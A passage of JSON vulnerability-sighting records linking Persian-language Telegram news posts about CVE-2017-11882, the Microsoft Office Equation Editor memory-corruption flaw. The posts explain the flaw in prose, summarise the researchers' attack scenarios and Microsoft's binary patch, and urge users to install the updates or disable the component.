\u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u06a9\u0646\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15", "creation_timestamp": "2026-07-27T00:01:38.377273Z"}, {"uuid": "97cebbaf-c5b2-43de-97d3-144ff71c97bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6369", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0628\u0647 \u0646\u0641\u0648\u0630\u06af\u0631 \u0627\u062c\u0627\u0632\u0647\u200c\u06cc \u0646\u0635\u0628 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0628\u062f\u0648\u0646 \u062a\u0639\u0627\u0645\u0644 \u0628\u0627 \u06a9\u0627\u0631\u0628\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udcd7 \u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd7\n\u0647\u0646\u06af\u0627\u0645 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627 \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0628\u0627\u06cc\u062f \u0628\u0633\u06cc\u0627\u0631 \u0645\u0631\u0627\u0642\u0628 \u0628\u0627\u0634\u06cc\u062f.\n\n\u0647\u0646\u06af\u0627\u0645\u06cc\u200c\u06a9\u0647 \u062c\u0647\u0627\u0646 \u0647\u0645\u0686\u0646\u0627\u0646 \u0628\u0627 \u062a\u0647\u062f\u06cc\u062f \u0648\u06cc\u0698\u06af\u06cc \u062f\u0627\u062e\u0644\u06cc DDE \u00ab\u0648\u0635\u0644\u0647 \u0646\u0634\u062f\u0647\u00bb \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0645\u0648\u0627\u062c\u0647 \u0627\u0633\u062a\u060c \u0645\u062d\u0642\u0642\u0627\u0646 \u06cc\u06a9 \u0645\u0648\u0636\u0648\u0639 \u062c\u062f\u06cc \u062f\u0631 \u0645\u0648\u0644\u0641\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0627\u0632 \u0622\u0641\u06cc\u0633 \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u0631 \u0631\u0648\u06cc \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0647\u062f\u0641 \u0646\u0635\u0628 \u0646\u0645\u0627\u06cc\u0646\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06cc\u06a9 \u0627\u0634\u06a9\u0627\u0644 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062d\u0627\u0641\u0638\u0647 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u062a\u0645\u0627\u0645 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u062f\u0631 \u06f1\u06f7 \u0633\u0627\u0644 \u06af\u0630\u0634\u062a\u0647\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06f3\u06f6\u06f5\u060c \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0647 \u0627\u0633\u062a \u0648 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062a\u0645\u0627\u0645 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0639\u0627\u0645\u0644 \u0648\u06cc\u0646\u062f\u0648\u0632\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 \u0622\u062e\u0631\u06cc\u0646 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u06f1\u06f0 \u06a9\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u062a\u0648\u0633\u0637 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc Embedi \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0645\u0646\u062c\u0631 \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u062a\u0627\u06cc\u06cc\u062f \u0646\u0634\u062f\u0647 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u067e\u0633 \u0627\u0632 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u0633\u0646\u062f \u0645\u062e\u0631\u0628 \u0648 \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062a\u0639\u0627\u0645\u0644 \u0628\u0627 \u06a9\u0627\u0631\u0628\u0631\u060c \u06a9\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u0628\u0631 \u0631\u0648\u06cc \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u06cc \u0647\u062f\u0641 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u062f\u0631 EQNEDT\u06f3\u06f2.EXE\u060c \u06cc\u06a9 \u0645\u0648\u0644\u0641\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f \u06a9\u0647 \u0645\u0633\u0626\u0648\u0644 \u062f\u0631\u062c \u0648 \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0645\u0639\u0627\u062f\u0644\u0647\u200c\u0647\u0627\u06cc \u0631\u06cc\u0627\u0636\u06cc (\u0627\u0634\u06cc\u0627\u06cc OLE) \u0645\u0648\u062c\u0648\u062f \u0627\u0633\u0646\u0627\u062f \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0639\u0645\u0644\u06cc\u0627\u062a \u0646\u0627\u0645\u0646\u0627\u0633\u0628 \u062d\u0627\u0641\u0638\u0647\u060c \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0642\u0627\u062f\u0631 \u0628\u0647 \u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0645\u0646\u0627\u0633\u0628 \u0627\u0634\u06cc\u0627\u0621 \u062f\u0631 \u062d\u0627\u0641\u0638\u0647 \u0646\u0628\u0648\u062f\u0647 \u0648 \u062e\u0631\u0627\u0628\u06cc \u0622\u0646 \u0628\u0647\u200c\u06af\u0648\u0646\u0647\u200c\u0627\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u06a9\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f.\n\n\u06f1\u06f7 \u0633\u0627\u0644 \u067e\u06cc\u0634\u060c EQNEDT\u06f3\u06f2.EXE \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f0\u06f0 \u0645\u0639\u0631\u0641\u06cc \u0634\u062f \u0648 \u0628\u0647\u200c\u0645\u0646\u0638\u0648\u0631 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0628\u0627 \u0627\u0633\u0646\u0627\u062f \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631 \u0633\u0627\u0632\u06af\u0627\u0631 \u0628\u0627\u0642\u06cc \u0645\u06cc\u200c\u0645\u0627\u0646\u062f\u060c \u062f\u0631 \u062a\u0645\u0627\u0645 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u067e\u0633 \u0627\u0632 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f0\u06f7 \u0646\u06af\u0647 \u062f\u0627\u0634\u062a\u0647 \u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udc48\ud83c\udffb \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0642\u0631\u0628\u0627\u0646\u06cc \u0628\u0627 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\n\u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u060c \u0628\u0647 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0645\u062e\u0631\u0628 \u062e\u0627\u0635 \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0628\u0627 \u06cc\u06a9 \u0646\u0633\u062e\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u062f\u06cc\u062f\u0647 \u0627\u0632 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06cc\u0627 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0648\u0631\u062f\u067e\u064e\u062f \u0646\u06cc\u0627\u0632 \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0631\u0627\u06cc \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u06cc\u06a9 \u0633\u0627\u0645\u0627\u0646\u0647 \u0647\u0646\u06af\u0627\u0645 \u062a\u0631\u06a9\u06cc\u0628 \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u0641\u0632\u0627\u06cc\u0634 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0647\u0633\u062a\u0647\u200c \u0648\u06cc\u0646\u062f\u0648\u0632 (\u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f4\u06f7)\u060c \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0645\u062d\u0642\u0642\u0627\u0646 Embedi \u062f\u0631\u062d\u0627\u0644\u06cc\u200c\u06a9\u0647 \u062f\u0627\u0645\u0646\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062a\u0648\u0636\u06cc\u062d \u0645\u06cc\u200c\u062f\u0647\u0646\u062f\u060c \u0686\u0646\u062f\u06cc\u0646 \u0633\u0646\u0627\u0631\u06cc\u0648\u06cc \u062d\u0645\u0644\u0647 \u0631\u0627 \u0646\u06cc\u0632 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f:\n\n\u00ab\u0628\u0627 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0686\u0646\u062f\u06cc\u0646 \u0645\u0639\u0627\u062f\u0644\u0647\u200c\u06cc \u0631\u06cc\u0627\u0636\u06cc \u06a9\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0635\u06cc\u0641 \u0634\u062f\u0647 \u0631\u0627 \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f\u060c \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06cc\u06a9 \u062a\u0648\u0627\u0644\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0627\u0632 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f (\u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644\u060c \u0628\u0627\u0631\u06af\u06cc\u0631\u06cc \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0627\u0632 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0648 \u0627\u062c\u0631\u0627\u06cc \u0622\u0646).\n\n\u06cc\u06a9\u06cc \u0627\u0632 \u0633\u0627\u062f\u0647\u200c\u062a\u0631\u06cc\u0646 \u0631\u0627\u0647\u200c\u0647\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\u060c \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0627\u0632 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 WebDAV \u062a\u062d\u062a \u06a9\u0646\u062a\u0631\u0644 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0627\u0633\u062a.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0628\u0627 \u0627\u06cc\u0646 \u0648\u062c\u0648\u062f\u060c \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0635\u06cc\u0641 \u0634\u062f\u0647 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u062e\u0637 \u0641\u0631\u0645\u0627\u0646 \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u062f. \u0686\u0646\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u06cc\u06a9 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0648 \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc WebClient \u0628\u0647\u200c\u06a9\u0627\u0631 \u0631\u0648\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udc48\ud83c\udffb \u062d\u0641\u0627\u0638\u062a \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u0622\u0633\u06cc\u0628\u200e\u067e\u0630\u06cc\u0631\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633\n\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648\u0635\u0644\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0645\u0627\u0647\u060c \u0628\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u0646\u062d\u0648\u0647\u200c\u06cc \u0639\u0645\u0644\u06a9\u0631\u062f \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0622\u0633\u06cc\u0628\u200c\u062f\u06cc\u062f\u0647\u200c\u06cc \u06a9\u0646\u062a\u0631\u0644 \u0627\u0634\u06cc\u0627\u0621 \u062f\u0631 \u062d\u0627\u0641\u0638\u0647\u060c \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u0631\u0641\u0639 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646\u060c \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0628\u0647 \u200c\u0634\u062f\u062a \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u062a\u0627 \u0628\u0631\u0627\u06cc \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u06a9\u0646\u062a\u0631\u0644 \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u062a\u0648\u0633\u0637 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0648 \u0645\u062c\u0631\u0645\u0627\u0646 \u0633\u0627\u06cc\u0628\u0631\u06cc\u060c \u062f\u0631 \u0627\u0633\u0631\u0639 \u0648\u0642\u062a \u0648\u0635\u0644\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0631\u0627 \u0627\u0639\u0645\u0627\u0644 \u06a9\u0646\u0646\u062f.\n\n\u0627\u0632 \u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u062f\u0627\u0631\u0627\u06cc \u062a\u0639\u062f\u0627\u062f\u06cc \u0627\u0632 \u0645\u0633\u0627\u0626\u0644 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647\u200c\u0631\u0627\u062d\u062a\u06cc \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u062f\u060c \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0622\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647\u062a\u0631\u06cc\u0646 \u0631\u0627\u0647 \u0628\u0631\u0627\u06cc \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0634\u0645\u0627 \u0628\u0627\u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c", "creation_timestamp": "2026-07-27T00:01:38.719086Z"}, {"uuid": "625b554d-714d-4804-b858-88e88a515a5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6531", "content": "\u0627\u06cc\u0646 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0627\u0638\u0647\u0627\u0631 \u06a9\u0631\u062f:\u200c \u00ab\u062f\u0631 \u062f\u0648 \u062a\u0627\u0628\u0639 \u0627\u0635\u0644\u0627\u062d\u200c\u0634\u062f\u0647\u060c \u0634\u0634 \u0645\u0648\u0631\u062f \u0628\u0631\u0631\u0633\u06cc \u0645\u062d\u062f\u0648\u062f\u0647 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f\u060c \u0648 \u0627\u0632 \u0622\u0646\u200c\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0647 \u0646\u0638\u0631 \u0646\u0645\u06cc\u200c\u0633\u062f \u0627\u06cc\u0646 \u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0628\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0645\u0631\u0628\u0648\u0637 \u0628\u0627\u0634\u0646\u062f\u060c \u0645\u0627 \u0645\u0639\u062a\u0642\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0686\u0646\u062f \u0628\u0631\u062f\u0627\u0631 \u062d\u0645\u0644\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631 \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0645\u0646\u062c\u0631\u0628\u0647 \u06cc\u06a9 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631 \u0634\u0648\u0646\u062f \u0648 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a\u0647 \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0646\u062f.\u00bb\n\n\u0648\u06cc \u0627\u0641\u0632\u0648\u062f: \u00ab\u0648\u0635\u0644\u0647\u200c\u06cc \u06cc\u06a9 \u0645\u062d\u0635\u0648\u0644 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u06cc \u0627\u0632 \u0637\u0631\u06cc\u0642 \u06a9\u062f\u0647\u0627\u06cc \u0628\u0627\u06cc\u0646\u0631\u06cc\u200c \u0628\u0647 \u062c\u0627\u06cc \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u06a9\u062f \u0645\u0646\u0628\u0639 \u062a\u063a\u06cc\u06cc\u0631\u06cc\u0627\u0641\u062a\u0647\u200c\u060c \u0628\u0633\u06cc\u0627\u0631 \u0645\u0634\u06a9\u0644 \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0645\u0647\u0646\u062f\u0633\u0627\u0646 \u0645\u0627\u06cc\u0631\u0648\u0633\u0627\u0641\u062a \u0647\u0646\u06af\u0627\u0645 \u0648\u0635\u0644\u0647\u200c\u06cc \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation\u060c \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0628\u0631\u062c\u0633\u062a\u0647 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u0647\u200c\u0627\u0646\u062f. \u0628\u0627 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0642\u062f\u06cc\u0645\u06cc \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0647\u0646\u0648\u0632 \u0647\u0645 \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u06a9\u0647 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062d\u0627\u0644 \u0634\u0648\u062f \u06a9\u0647 \u0627\u0633\u0646\u0627\u062f\u06cc \u06a9\u0647 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0646\u0633\u062e\u0647\u200c\u06cc \u0642\u062f\u06cc\u0645\u06cc \u0627\u06cc\u062c\u0627\u062f \u0634\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0627 \u0646\u0633\u062e\u0647 \u06cc \u062c\u062f\u06cc\u062f \u0646\u06cc\u0632 \u0633\u0627\u0632\u06af\u0627\u0631 \u0647\u0633\u062a\u0646\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u062a\u0646\u0647\u0627 \u0633\u0648\u0627\u0644\u06cc \u06a9\u0647 \u0628\u062f\u0648\u0646 \u062c\u0648\u0627\u0628 \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u0647\u060c \u0627\u06cc\u0646 \u0627\u0633\u062a \u06a9\u0647 \u0686\u0631\u0627 \u0634\u0631\u06a9\u062a \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0647 \u062c\u0627\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u06a9\u062f \u0645\u0646\u0628\u0639 \u0648 \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u0622\u0646 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a \u06a9\u0647 \u0645\u0633\u062a\u0642\u06cc\u0645\u0627 \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0647\u062f. \u0628\u0631\u062e\u06cc \u0645\u0639\u062a\u0642\u062f\u0646\u062f \u06a9\u0647 \u0645\u0645\u06a9\u0646 \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u06a9\u062f \u0645\u0646\u0628\u0639 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0631\u0627 \u0627\u0632 \u062f\u0633\u062a \u062f\u0627\u062f\u0647 \u0628\u0627\u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c", "creation_timestamp": "2026-07-27T00:01:38.552419Z"}, {"uuid": "0ecded8d-2078-4271-bae3-f291616a0900", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": 